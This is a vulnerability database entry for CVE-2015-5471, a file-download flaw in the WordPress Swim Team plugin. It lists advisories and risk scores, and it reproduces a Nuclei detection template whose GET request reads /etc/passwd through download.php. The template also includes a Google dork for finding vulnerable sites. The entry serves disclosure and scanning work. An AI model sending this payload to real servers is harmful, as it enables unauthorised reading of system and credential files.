Swim Team <= v1.44.10777 - Local File Inclusion

🗓️ 24 Sep 2026 02:06:17Reported by ProjectDiscoveryType

The program allows unauthenticated attackers to retrieve arbitrary files from the system. Upgrade to Swim Team version 1.45 or newer

Reporter	Title	Published	Views	Family All 13
Circl	CVE-2015-5471	13 Jul 201500:00	–	circl
CNVD	WordPress Swim Team Plugin Arbitrary File Download Vulnerability	14 Jul 201500:00	–	cnvd
CVE	CVE-2015-5471	12 Jan 201619:00	–	cve
Cvelist	CVE-2015-5471	12 Jan 201619:00	–	cvelist
Exploit DB	WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download	13 Jul 201500:00	–	exploitdb
NVD	CVE-2015-5471	12 Jan 201619:59	–	nvd
OpenVAS	WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP)	20 Nov 202000:00	–	openvas
Patchstack	WordPress Swim Team Plugin <= 1.44.10777 - Absolute Path Traversal	10 Jul 201500:00	–	patchstack
Prion	Path traversal	12 Jan 201619:59	–	prion
Rapid7 Vulnerability Database (full)	CVE-2015-5471: Improper Limitation of a Pathname to a Restricted Directory	12 Jan 201600:00	–	rapid7

Source	Link
wpscan	www.wpscan.com/vulnerability/b00d9dda-721d-4204-8995-093f695c3568
vapid	www.vapid.dhs.org/advisory.php
nvd	www.nvd.nist.gov/vuln/detail/CVE-2015-5471
packetstormsecurity	www.packetstormsecurity.com/files/132653/WordPress-WP-SwimTeam-1.44.10777-Arbitrary-File-Download.html
michaelwalsh	www.michaelwalsh.org/blog/2015/07/wp-swimteam-v1-45-beta-3-now-available/

id: CVE-2015-5471

info:
  name: Swim Team <= v1.44.10777 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: The program /wp-swimteam/include/user/download.php allows unauthenticated attackers to retrieve arbitrary files from the system.
  impact: |
    An attacker can exploit this vulnerability to read sensitive information from the server, such as database credentials, and potentially execute arbitrary code.
  remediation: Upgrade to Swim Team version 1.45 or newer.
  reference:
    - https://wpscan.com/vulnerability/b00d9dda-721d-4204-8995-093f695c3568
    - http://www.vapid.dhs.org/advisory.php?v=134
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5471
    - http://packetstormsecurity.com/files/132653/WordPress-WP-SwimTeam-1.44.10777-Arbitrary-File-Download.html
    - http://michaelwalsh.org/blog/2015/07/wp-swimteam-v1-45-beta-3-now-available/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2015-5471
    cwe-id: CWE-22
    epss-score: 0.32483
    epss-percentile: 0.98262
    cpe: cpe:2.3:a:swim_team_project:swim_team:1.44.10777:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: swim_team_project
    product: swim_team
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-swimteam"
  tags: cve2015,cve,wordpress,wp-plugin,lfi,wpscan,packetstorm,swim_team_project,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402204294617d32bddeb825e10e42eb8159d97c0926613f58be892147ff18746c0c16022007a6c201872d1b2dfac28551eae2d3413c44022abaa638b460eb2afbc4e3ccd3:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

6.5Medium risk

Vulners AI Score6.5

CVSS 25

CVSS 35.3

EPSS0.32483